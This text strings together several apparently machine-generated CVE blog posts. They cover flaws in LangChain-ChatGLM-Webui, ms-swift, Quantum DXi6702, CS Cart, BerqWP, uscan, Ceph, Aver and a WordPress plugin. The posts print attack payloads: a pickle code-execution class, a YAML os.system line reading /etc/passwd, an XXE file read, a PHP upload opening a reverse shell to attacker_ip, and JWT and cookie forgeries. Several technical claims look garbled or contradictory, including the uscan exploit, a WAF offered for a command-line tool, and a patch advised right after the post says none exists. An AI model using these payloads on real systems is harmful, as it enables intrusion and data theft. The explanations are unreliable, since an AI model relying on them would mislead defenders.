Author: Ameeba

Overview

The cybersecurity space is constantly evolving, with new vulnerabilities being discovered and exploited by malicious actors. One such recent vulnerability, CVE-2025-45150, affects the LangChain-ChatGLM-Webui and carries a significant risk to data privacy and system integrity. This vulnerability allows an attacker to view and download sensitive files by using a carefully crafted request, leading to the potential for system compromise and data leakage.
The seriousness of this vulnerability is underscored by its high CVSS Severity Score of 9.8, highlighting the urgent need for affected systems to be patched or otherwise protected. This article will delve into the details of this vulnerability, the risk it poses, and the steps that can be taken to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-45150
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LangChain-ChatGLM-Webui | Commit ef829

How the Exploit Works

The vulnerability resides in the insecure permissions of the LangChain-ChatGLM-Webui. It allows an attacker to arbitrarily view and download sensitive files by crafting a specific request. This is possible due to the lack of proper access controls on certain data resources within the system.
Once the attacker has identified a target system, they can create a malicious request designed to exploit this flaw. Upon successful execution of the request, the attacker can access and download sensitive files that should otherwise be restricted.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be done by sending a carefully crafted HTTP request to the target system:

GET /sensitive/files HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "request": "Download_All" }

Mitigation

To protect their systems from this vulnerability, users are advised to apply the vendor-provided patch as soon as possible. If immediate patching is not possible, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block exploit attempts. These measures can serve as a temporary mitigation until the patch can be applied. Regularly updating and monitoring system logs can also help identify any unauthorized access attempts.

Overview

CVE-2025-50472 is a critical vulnerability that resides in the modelscope/ms-swift library up to and including version 2.6.1. The vulnerability allows an attacker to execute arbitrary code remotely by exploiting the deserialization of untrusted data in the `load_model_meta()` function. This flaw poses a serious threat to any system running the vulnerable software, potentially leading to system compromise or leakage of sensitive data.
The vulnerability is particularly concerning due to the stealthy nature of its exploitation. The malicious payload is hidden, and the normal training process remains unaffected even after the arbitrary code execution, making it extremely difficult for the user to detect any malicious activities. This blog post offers a detailed analysis of the vulnerability, its potential impact, and the steps necessary to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-50472
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

modelscope/ms-swift | <= 2.6.1 How the Exploit Works

The vulnerability exploits the `load_model_meta()` function of the `ModelFileSystemCache()` class in the modelscope/ms-swift library. This function uses `pickle.load()` to deserialize data from potentially untrusted sources.
An attacker can craft a malicious serialized `.mdl` payload and deceive the victim into loading it during a normal training process. This subsequently allows the attacker to execute arbitrary code on the targeted machine. The payload file is hidden, making it difficult for the victim to notice any tampering. Moreover, the normal training process remains unaffected even after the arbitrary code execution, leaving the user unaware of the exploit.

Conceptual Example Code

While the actual exploit code is complex and beyond the scope of this blog post due to its malicious nature, a conceptual example might look something like this:

import pickle
import os
# Malicious code to be executed
class Exploit(object):
def __reduce__(self):
return (os.system, ('<arbitrary command>',))
# Serialize malicious code into .mdl payload
with open('.hidden_mdl_payload.mdl', 'wb') as file:
pickle.dump(Exploit(), file)

In this conceptual example, the `Exploit` class defines a `__reduce__` method that, when unpickled, results in the execution of an arbitrary command. This malicious `.mdl` file is then loaded unsuspectingly by the victim during the normal training process, leading to arbitrary code execution.

Overview

In this blog post, we delve into a high-severity vulnerability, CVE-2025-50460, that exists in the ms-swift project version 3.3.0. The vulnerability is classified as a Remote Code Execution (RCE), one of the most dangerous forms of cybersecurity flaws. By exploiting this vulnerability, an attacker can compromise a system, leading to potential data leakage or full system control. This vulnerability is particularly concerning because it can be exploited remotely, which means an attacker does not need physical access to the vulnerable system.

Vulnerability Summary

CVE ID: CVE-2025-50460
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ms-swift | 3.3.0

How the Exploit Works

The vulnerability resides in the tests/run.py file of the ms-swift project. Specifically, it has to do with the unsafe deserialization of a YAML configuration file using yaml.load() from the PyYAML library. If an attacker can control the content of the YAML configuration file passed to the –run_config parameter, they can execute arbitrary code during deserialization. The vulnerability is triggered when a malicious YAML file is loaded, which allows the execution of arbitrary Python commands such as os.system(), leading to full system compromise.

Conceptual Example Code

Below is a conceptual example of the malicious payload that could be used to exploit this vulnerability:

# Load malicious YAML file
with open("malicious.yaml", "r") as file:
data = yaml.load(file)
# Malicious YAML content
"""
!!python/object/apply:os.system ['cat /etc/passwd > /tmp/passwords.txt']
"""

In this example, the malicious YAML file contains a Python os.system() command that exports the content of the /etc/passwd file (which contains user account details) to a file named passwords.txt in the /tmp directory. This is just a simple example; an attacker could execute any command that the system permissions allow.

Mitigation Guidance

The best way to mitigate this vulnerability is to upgrade the PyYAML library to version 5.4 or higher and replace yaml.load() with yaml.safe_load() in the tests/run.py script. This will prevent arbitrary code execution during YAML deserialization. As a temporary measure until the patch can be applied, it is recommended to use a Web Application Firewall (WAF) or intrusion detection system (IDS) to detect and block any attempts to exploit this vulnerability.

Overview

Today, we will be discussing a critical vulnerability identified as CVE-2019-19144. This flaw is an XML External Entity (XXE) Injection vulnerability that affects Quantum DXi6702 devices running version 2.3.0.3 (11449-53631 Build304). The vulnerability is of particular concern due to its high severity, with a CVSS score of 9.8, signifying that it poses a significant risk to the security of affected systems.
The vulnerability can potentially lead to system compromise or data leakage, making it a serious threat that warrants immediate attention. It is especially concerning for organizations that depend on Quantum DXi6702 devices for their daily operations, as an exploit could lead to significant operational and financial losses.

Vulnerability Summary

CVE ID: CVE-2019-19144
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Quantum DXi6702 | 2.3.0.3 (11449-53631 Build304)

How the Exploit Works

The XML External Entity (XXE) Injection vulnerability in Quantum DXi6702 devices arises from the improper processing of XML data. When the device receives a specially crafted XML request where an external entity is defined with a URI that resolves to a file on the local machine or a resource on the network, it can lead to unauthorized disclosure of file data, denial of service, SSRF, NTLM relay, or remote code execution.

Conceptual Example Code

Below is a conceptual example of an HTTP request exploiting this vulnerability:

POST /rest/Users?action=authenticate HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

In this example, the entity `xxe` is defined as the system file `/etc/passwd`. The XML parser resolves the entity and includes the content of the file in its response, leading to information disclosure.

Mitigation Measures

The primary mitigation measure for this vulnerability is applying the vendor-provided patch. Quantum has released a patch that addresses this vulnerability, and users are strongly advised to apply this patch as soon as possible to protect their systems.
In situations where immediate patching is not possible, temporary mitigation can be achieved by using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). Both of these security measures can help detect and prevent attempts to exploit this vulnerability. However, these are temporary solutions, and applying the vendor-provided patch remains the most effective way to mitigate this vulnerability.

Overview

CVE-2025-50849 is a severe security vulnerability affecting CS Cart 4.18.3, a popular e-commerce software. This vulnerability is an instance of Insecure Direct Object Reference (IDOR), a widespread security flaw where an application exposes a reference to an internal implementation object. In this case, the user profile functionality in CS Cart allows an authenticated user to manipulate and control the sticker setting of other users’ accounts. This vulnerability, if exploited, can lead to a serious system compromise or data leakage, thereby posing a significant risk to any business utilizing CS Cart 4.18.3.

Vulnerability Summary

CVE ID: CVE-2025-50849
Severity: High (8.0)
Attack Vector: Network
Privileges Required: Low (Authenticated User)
User Interaction: Required
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

CS Cart | 4.18.3

How the Exploit Works

The vulnerability lies in the user profile functionality of CS Cart 4.18.3. It enables or disables stickers through a parameter (company_id) sent in the request. However, this operation is not adequately validated on the server side. Therefore, an authenticated user can manipulate the request to target other users’ accounts and toggle the sticker setting by modifying the company_id or other object identifiers.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited, using an HTTP request:

POST /user_profile/sticker_setting HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer [Authenticated User's Token]
{ "company_id": "[Victim's company_id]", "sticker_setting": "enabled" }

In this example, an attacker modifies the ‘company_id’ in the request body to the company_id of the victim. The server then processes the request, enabling or disabling the sticker settings for the victim’s account without proper validation.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the vendor patch as soon as it becomes available. Until then, using Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can provide temporary mitigation by detecting abnormal request patterns and blocking potentially malicious requests.

Overview

CVE-2025-7443 is a critical vulnerability found in the BerqWP – Automated All-In-One Page Speed Optimization for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress. This vulnerability allows unauthenticated attackers to upload arbitrary files to the victim’s server. The issue stems from the plugin’s lack of proper file type validation, meaning that any file, regardless of its format or content, can be uploaded through the store_javascript_cache.php file. The vulnerability affects all versions up to and including 2.2.42.
Given the vast popularity of WordPress and its extensive use in various businesses and individual websites, this vulnerability poses a serious threat. A successful exploit can lead to data leakage or even full system compromise, allowing attackers to execute arbitrary code remotely.

Vulnerability Summary

CVE ID: CVE-2025-7443
Severity: Critical (8.1/10.0 – CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

BerqWP WordPress Plugin |

How the Exploit Works

The vulnerability lies within the store_javascript_cache.php file of the BerqWP WordPress plugin. This file does not properly validate the type of files being uploaded, allowing for arbitrary file uploads. As a result, an attacker can exploit this to upload malicious payloads to the server, potentially leading to remote code execution.

Conceptual Example Code

A conceptual exploit might involve an HTTP POST request to the vulnerable file, as shown below:

POST /wp-content/plugins/berqwp/store_javascript_cache.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'");
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this conceptual example, the attacker sends a POST request with a malicious PHP file that, when executed, opens a reverse shell connecting back to the attacker. This example demonstrates the potential severity of this vulnerability; however, the actual exploit may vary based on the attacker’s capabilities and the specific configurations of the target system.
For security, it’s strongly recommended to apply the latest vendor patches or implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures.

Overview

This article provides a comprehensive analysis of a critical vulnerability, CVE-2025-8454, discovered in uscan, a tool used to scan and watch upstream sources for new software releases. This tool is included in devscripts, a suite of scripts designed to streamline the tasks of Debian Package maintainers. This vulnerability is a severe security risk for all organizations using uscan and devscripts and can lead to significant data breaches or system compromises if not properly addressed.

Vulnerability Summary

CVE ID: CVE-2025-8454
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

uscan | All versions prior to patch
devscripts | All versions prior to patch

How the Exploit Works

The vulnerability lies in the way uscan handles OpenPGP verification for downloaded software sources. If uscan has previously downloaded the source, it skips OpenPGP verification for subsequent downloads, even if the verification failed during the initial download. This loophole allows attackers to inject malicious code into the downloaded software source, compromising the system and potentially leading to data leakage.

Conceptual Example Code

Consider the following conceptual shell command, which an attacker could use to exploit the vulnerability:

# Attacker modifies the source code of a downloaded software
echo "malicious code" >> downloaded_software_source_code
# Attacker triggers uscan to re-download the software source
uscan --force-download

In this example, uscan re-downloads the software source without verifying the OpenPGP signature since it has previously downloaded it. Consequently, the malicious code injected by the attacker becomes part of the software source, compromising the system when the software is built and installed.

Mitigation

Users are strongly advised to apply the vendor-provided patch as soon as possible. This patch rectifies the vulnerability by ensuring that uscan does not skip OpenPGP verification for previously downloaded software sources. As a temporary mitigation measure, users can also employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block potential exploitation attempts. However, these measures are not a long-term solution, as they do not resolve the underlying issue.

Overview

The vulnerability CVE-2024-48916 is a major concern for any organization using the Ceph storage platform. As a distributed object, block, and file storage platform, Ceph is integral to a wide range of IT systems and cloud networks. This vulnerability affects Ceph versions 19.2.3 and below, specifically in the RadosGW OIDC provider. The vulnerability allows for unvalidated JSON Web Tokens (JWTs) to be sent, bypassing the signature check by using “none” as the JWT algorithm. This opens the door for potential system compromise or data leakage, which could have far-reaching consequences for any organization storing sensitive information on affected systems.

Vulnerability Summary

CVE ID: CVE-2024-48916
Severity: High (CVSS 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Ceph | 19.2.3 and below

How the Exploit Works

The exploit takes advantage of a flaw in the Ceph system’s handling of JWTs. When a JWT with “none” as its algorithm is sent, the Ceph system does not validate the signature. This allows an attacker to forge JWTs, bypassing normal security checks and gaining unauthorized access to the system. This vulnerability is most likely in the RadosGW OIDC provider, a component of the Ceph system that handles identity and access management.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. The attacker sends an HTTP request to the Ceph system with a forged JWT:

POST /auth/token HTTP/1.1
Host: ceph.example.com
Content-Type: application/jwt
{
"alg": "none",
"typ": "JWT"
}
{
"sub": "admin",
"name": "Admin",
"iat": 1516239022
}

In this example, the attacker is forging a JWT that identifies them as an admin. Because the “alg” field is set to “none”, the Ceph system does not validate the signature, allowing the attacker to gain admin access.

Mitigation Guidance

No known patched version has been published at the time of writing. As a temporary mitigation, organizations can apply a vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious JWTs. Organizations should also monitor vendor communications for updates on a patched version.

Overview

In the evolving landscape of cybersecurity threats, a significant new vulnerability has been discovered. This vulnerability, designated as CVE-2025-45620, impacts the Aver PTC310UV2, version 0.1.0000.59. It presents a serious risk, as it allows a remote attacker to glean sensitive information from the system via a specially crafted request. This issue is of great concern to any organization that utilizes Aver PTC310UV2, as the disclosed information could potentially lead to further system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-45620
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Aver PTC310UV2 | v.0.1.0000.59

How the Exploit Works

The vulnerability resides in the way Aver PTC310UV2 handles incoming network requests. By crafting a specific network request, an attacker can trick the system into divulging sensitive information. This data may include system configurations, user data, or other proprietary information that could be used to carry out further attacks or system compromises.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This HTTP request is maliciously designed to exploit the vulnerability in Aver PTC310UV2:

GET /sensitive/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "exploit_key": "specific_value" }

By sending this request, an attacker could potentially receive a response containing sensitive system information.

Mitigation Measures

Until the vendor provides a patch for this vulnerability, it is recommended to employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block malicious network requests, thereby preventing the exploitation of this vulnerability. It is also crucial to maintain a strong security posture by regularly updating and patching all systems, as well as educating staff about potential cybersecurity threats.

Overview

With the increasing usage of WordPress as a leading CMS, the security of its plugins has become a critical concern. One such plugin, the Service Finder Bookings, has recently been found to harbor a serious vulnerability, labeled as CVE-2025-5947. This vulnerability allows an unauthenticated user to bypass authentication and escalate their privileges, posing a significant threat to the security of any WordPress site using the affected plugin versions. The potential implications of this vulnerability are dire, ranging from unauthorized system access to data breaches, underscoring the need for immediate action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-5947
Severity: Critical (CVSS score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Service Finder Bookings Plugin for WordPress | Up to and including version 6.0

How the Exploit Works

The vulnerability resides in the service_finder_switch_back() function of the Service Finder Bookings plugin. This function is designed to log users in based on the cookie values associated with their session. However, due to a lack of proper validation checks, an attacker can manipulate these cookie values to impersonate any user, including administrators. This allows them to bypass the authentication process entirely and gain unauthorized access to the system.

Conceptual Example Code

A potential exploit could look something like this:

GET /wp-admin/ HTTP/1.1
Host: target.example.com
Cookie: service_finder_auth=malicious_cookie_value

In this example, the attacker sends a GET request to the admin panel with a manipulated cookie value (`malicious_cookie_value`). If the website is running a vulnerable version of the Service Finder Booking plugin, the attacker will be logged in as an admin, gaining full control over the system.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as temporary mitigation measures. These tools can help detect and prevent unauthorized access attempts, providing an additional layer of security against potential exploitation of this vulnerability.